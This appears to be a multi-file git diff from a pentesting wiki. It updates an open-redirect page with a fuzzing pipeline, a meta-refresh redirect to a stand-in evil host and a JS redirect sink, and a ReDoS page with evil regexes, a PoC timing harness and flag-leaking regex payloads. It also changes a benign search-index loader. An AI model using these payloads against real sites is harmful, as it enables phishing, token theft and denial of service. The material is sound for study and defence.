<details>
<summary>Click to expand</summary>
```bash
# 1) Gather historical URLs, keep those with common redirect params
cat domains.txt \
| gau --o urls.txt # or: waybackurls / katana / hakrawler
# 2) Grep common parameters and normalize list
rg -NI "(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)" urls.txt \
| sed 's/\r$//' | sort -u > candidates.txt
# 3) Use OpenRedireX to fuzz with payload corpus
cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt
# 4) Manually verify interesting hits
awk '/30[1237]|Location:/I' results.txt
```
```
</details>
- Don’t forget client-side sinks in SPAs: look for window.location/assign/replace and framework helpers that read query/hash and redirect.
- Frameworks often introduce footguns when redirect destinations are derived from untrusted input (query params, Referer, cookies). See Next.js notes about redirects and avoid dynamic destinations derived from user input.
{{#ref}}
../network-services-pentesting/pentesting-web/nextjs.md
{{#endref}}
- OAuth/OIDC flows: abusing open redirectors frequently escalates to account takeover by leaking authorization codes/tokens. See dedicated guide:
{{#ref}}
./oauth-to-account-takeover.md
{{#endref}}
- Server responses that implement redirects without Location (meta refresh/JavaScript) are still exploitable for phishing and can sometimes be chained. Grep for:
```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>
```
## Tools
- [https://github.com/0xNanda/Oralyzer](https://github.com/0xNanda/Oralyzer)
- OpenRedireX – fuzzer for detecting open redirects. Example:
## Resources
```bash
# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh
- In [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) you can find fuzzing lists.
# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50
```
## References
- In https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect you can find fuzzing lists.
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
- PortSwigger Web Security Academy – DOM-based open redirection: https://portswigger.net/web-security/dom-based/open-redirection
- OpenRedireX – A fuzzer for detecting open redirect vulnerabilities: https://github.com/devanshbatham/OpenRedireX
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@ -8,7 +8,12 @@ A **Regular Expression Denial of Service (ReDoS)** happens when someone takes ad
## The Problematic Regex Naïve Algorithm
**Check the details in [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
**Check the details in [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
### Engine behavior and exploitability
- Most popular engines (PCRE, Java `java.util.regex`, Python `re`, JavaScript `RegExp`) use a **backtracking** VM. Crafted inputs that create many overlapping ways to match a subpattern force exponential or high-polynomial backtracking.
- Some engines/libraries are designed to be **ReDoS-resilient** by construction (no backtracking), e.g. **RE2** and ports based on finite automata that provide worst‑case linear time; using them for untrusted input removes the backtracking DoS primitive. See the references at the end for details.
## Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a>
@ -18,10 +23,36 @@ An evil regular expression pattern is that one that can **get stuck on crafted i
- ([a-zA-Z]+)\*
- (a|aa)+
- (a|a?)+
- (.\*a){x} for x > 10
- (.*a){x} for x > 10
All those are vulnerable to the input `aaaaaaaaaaaaaaaaaaaaaaaa!`.
### Practical recipe to build PoCs
Most catastrophic cases follow this shape:
- Prefix that gets you into the vulnerable subpattern (optional).
- Long run of a character that causes ambiguous matches inside nested/overlapping quantifiers (e.g., many `a`, `_`, or spaces).
- A final character that forces overall failure so the engine must backtrack through all possibilities (often a character that won’t match the last token, like `!`).
Minimal examples:
- `(a+)+$` vs input `"a"*N + "!"`
- `\w*_*\w*$` vs input `"v" + "_"*N + "!"`
Increase N and observe super‑linear growth.
#### Quick timing harness (Python)
```python
import re, time
pat = re.compile(r'(\w*_)\w*$')
for n in [2**k for k in range(8, 15)]:
s = 'v' + '_'*n + '!'
t0=time.time(); pat.search(s); dt=time.time()-t0
print(n, f"{dt:.3f}s")
```
## ReDoS Payloads
### String Exfiltration via ReDoS
@ -30,7 +61,7 @@ In a CTF (or bug bounty) maybe you **control the Regex a sensitive information (
- In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=<flag>)((.*)*)*salt$`
- Example: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
- In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`<flag>(((((((.*)*)*)*)*)*)*)!`
- In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`<flag>(((((((.*)*)*)*)*)*)*)!`
- In [**this writeup**](https://ctftime.org/writeup/25869) he used: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### ReDoS Controlling Input and Regex
@ -67,19 +98,35 @@ Regexp (a+)*$ took 723 milliseconds.
*/
```
### Language/engine notes for attackers
- JavaScript (browser/Node): Built‑in `RegExp` is a backtracking engine and commonly exploitable when regex+input are attacker‑influenced.
- Python: `re` is backtracking. Long ambiguous runs plus a failing tail often yield catastrophic backtracking.
- Java: `java.util.regex` is backtracking. If you only control input, look for endpoints using complex validators; if you control patterns (e.g., stored rules), ReDoS is usually trivial.
- Engines such as **RE2/RE2J/RE2JS** or the **Rust regex** crate are designed to avoid catastrophic backtracking. If you hit these, focus on other bottlenecks (e.g., enormous patterns) or find components still using backtracking engines.
## Tools
- [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
- Find vulnerable regexes and auto‑generate evil inputs. Examples:
- `pip install regexploit`
- Analyze one pattern interactively: `regexploit`
- Scan Python/JS code for regexes: `regexploit-py path/` and `regexploit-js path/`
- [https://devina.io/redos-checker](https://devina.io/redos-checker)
- [https://github.com/davisjam/vuln-regex-detector](https://github.com/davisjam/vuln-regex-detector)
- End‑to‑end pipeline to extract regexes from a project, detect vulnerable ones, and validate PoCs in the target language. Useful for hunting through large codebases.
- [https://github.com/tjenkinson/redos-detector](https://github.com/tjenkinson/redos-detector)
- Simple CLI/JS library that reasons about backtracking to report if a pattern is safe.
> Tip: When you only control input, generate strings with doubling lengths (e.g., 2^k characters) and track latency. Exponential growth strongly indicates a viable ReDoS.
## References
- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
- [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
- [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
- [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20@%20DEKRA%20CTF%202022/solver/solver.html)
- [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
- SoK (2024): A Literature and Engineering Review of Regular Expression Denial of Service (ReDoS) — [https://arxiv.org/abs/2406.11618](https://arxiv.org/abs/2406.11618)
- Why RE2 (linear‑time regex engine) — [https://github.com/google/re2/wiki/WhyRE2](https://github.com/google/re2/wiki/WhyRE2)
{{#include ../banners/hacktricks-training.md}}

2
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View File

@ -48,7 +48,7 @@ Yes, you can, but **don't forget to mention the specific link(s)** where the con
> [!TIP]
>
> - **How can I a page of HackTricks?**
> - **How can I reference a page of HackTricks?**
As long as the link **of** the page(s) where you took the information from appears it's enough.\
If you need a bibtex you can use something like:

83
theme/ht_searcher.js
View File

@ -21,19 +21,48 @@
try { importScripts('https://cdn.jsdelivr.net/npm/elasticlunr@0.9.5/elasticlunr.min.js'); }
catch { importScripts(abs('/elasticlunr.min.js')); }
/* 2 — load a single index (remote → local) */
/* 2 — decompress gzip data */
async function decompressGzip(arrayBuffer){
if(typeof DecompressionStream !== 'undefined'){
/* Modern browsers: use native DecompressionStream */
const stream = new Response(arrayBuffer).body.pipeThrough(new DecompressionStream('gzip'));
const decompressed = await new Response(stream).arrayBuffer();
return new TextDecoder().decode(decompressed);
} else {
/* Fallback: use pako library */
if(typeof pako === 'undefined'){
try { importScripts('https://cdn.jsdelivr.net/npm/pako@2.1.0/dist/pako.min.js'); }
catch(e){ throw new Error('pako library required for decompression: '+e); }
}
const uint8Array = new Uint8Array(arrayBuffer);
const decompressed = pako.ungzip(uint8Array, {to: 'string'});
return decompressed;
}
}
/* 3 — load a single index (remote → local) */
async function loadIndex(remote, local, isCloud=false){
let rawLoaded = false;
if(remote){
/* Try ONLY compressed version from GitHub (remote already includes .js.gz) */
try {
const r = await fetch(remote,{mode:'cors'});
if (!r.ok) throw new Error('HTTP '+r.status);
importScripts(URL.createObjectURL(new Blob([await r.text()],{type:'application/javascript'})));
if (r.ok) {
const compressed = await r.arrayBuffer();
const text = await decompressGzip(compressed);
importScripts(URL.createObjectURL(new Blob([text],{type:'application/javascript'})));
rawLoaded = true;
} catch(e){ console.warn('remote',remote,'failed →',e); }
console.log('Loaded compressed from GitHub:',remote);
}
} catch(e){ console.warn('compressed GitHub',remote,'failed →',e); }
}
/* If remote (GitHub) failed, fall back to local uncompressed file */
if(!rawLoaded && local){
try { importScripts(abs(local)); rawLoaded = true; }
try {
importScripts(abs(local));
rawLoaded = true;
console.log('Loaded local fallback:',local);
}
catch(e){ console.error('local',local,'failed →',e); }
}
if(!rawLoaded) return null; /* give up on this index */
@ -62,26 +91,28 @@
return local ? loadIndex(null, local, isCloud) : null;
}
(async () => {
const htmlLang = (document.documentElement.lang || 'en').toLowerCase();
const lang = htmlLang.split('-')[0];
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
let built = [];
const MAX = 30, opts = {bool:'AND', expand:true};
const mainTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
const cloudTags = Array.from(new Set([\`searchindex-\${lang}\`, 'searchindex-en', 'searchindex-master']));
self.onmessage = async ({data}) => {
if(data.type === 'init'){
const lang = data.lang || 'en';
const searchindexBase = 'https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-searchindex/master';
const MAIN_REMOTE_SOURCES = mainTags.map(tag => \`\${mainReleaseBase}/\${tag}/searchindex.js\`);
const CLOUD_REMOTE_SOURCES = cloudTags.map(tag => \`\${cloudReleaseBase}/\${tag}/searchindex.js\`);
/* Remote sources are .js.gz (compressed), local fallback is .js (uncompressed) */
const mainFilenames = Array.from(new Set(['searchindex-' + lang + '.js.gz', 'searchindex-en.js.gz']));
const cloudFilenames = Array.from(new Set(['searchindex-cloud-' + lang + '.js.gz', 'searchindex-cloud-en.js.gz']));
const MAIN_REMOTE_SOURCES = mainFilenames.map(function(filename) { return searchindexBase + '/' + filename; });
const CLOUD_REMOTE_SOURCES = cloudFilenames.map(function(filename) { return searchindexBase + '/' + filename; });
const indices = [];
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex.js', false); if(main) indices.push(main);
const cloud= await loadWithFallback(CLOUD_REMOTE_SOURCES, '/searchindex-cloud.js', true ); if(cloud) indices.push(cloud);
const main = await loadWithFallback(MAIN_REMOTE_SOURCES , '/searchindex-book.js', false); if(main) indices.push(main);
const cloud= await loadWithFallback(CLOUD_REMOTE_SOURCES, '/searchindex.js', true ); if(cloud) indices.push(cloud);
if(!indices.length){ postMessage({ready:false, error:'no-index'}); return; }
/* build index objects */
const built = indices.map(d => ({
built = indices.map(d => ({
idx : elasticlunr.Index.load(d.json),
urls: d.urls,
cloud: d.cloud,
@ -89,9 +120,10 @@
}));
postMessage({ready:true});
const MAX = 30, opts = {bool:'AND', expand:true};
return;
}
self.onmessage = ({data:q}) => {
const q = data.query || data;
if(!q){ postMessage([]); return; }
const all = [];
@ -114,12 +146,16 @@
all.sort((a,b)=>b.norm-a.norm);
postMessage(all.slice(0,MAX));
};
})();
`;
/* ───────────── 2. spawn worker ───────────── */
const worker = new Worker(URL.createObjectURL(new Blob([workerCode],{type:'application/javascript'})));
/* ───────────── 2.1. initialize worker with language ───────────── */
const htmlLang = (document.documentElement.lang || 'en').toLowerCase();
const lang = htmlLang.split('-')[0];
worker.postMessage({type: 'init', lang: lang});
/* ───────────── 3. DOM refs ─────────────── */
const wrap = document.getElementById('search-wrapper');
const bar = document.getElementById('searchbar');
@ -133,6 +169,7 @@
icon.setAttribute('aria-label','Loading search …');
icon.setAttribute('title','Search is loading, please wait...');
const HOT=83, ESC=27, DOWN=40, UP=38, ENTER=13;
let debounce, teaserCount=0;
@ -184,7 +221,7 @@
else if([DOWN,UP,ENTER].includes(e.keyCode) && document.activeElement!==bar){const cur=list.querySelector('li.focus'); if(!cur) return; e.preventDefault(); if(e.keyCode===DOWN){const nxt=cur.nextElementSibling; if(nxt){cur.classList.remove('focus'); nxt.classList.add('focus');}} else if(e.keyCode===UP){const prv=cur.previousElementSibling; cur.classList.remove('focus'); if(prv){prv.classList.add('focus');} else {bar.focus();}} else {const a=cur.querySelector('a'); if(a) window.location.assign(a.href);}}
});
bar.addEventListener('input',e=>{ clearTimeout(debounce); debounce=setTimeout(()=>worker.postMessage(e.target.value.trim()),120); });
bar.addEventListener('input',e=>{ clearTimeout(debounce); debounce=setTimeout(()=>worker.postMessage({query: e.target.value.trim()}),120); });
/* ───────────── worker messages ───────────── */
worker.onmessage = ({data}) => {
@ -207,5 +244,5 @@
docs.forEach(d=>{const li=document.createElement('li'); li.innerHTML=format(d,terms); list.appendChild(li);});
listOut.classList.toggle('hidden',!docs.length);
};
})();
})();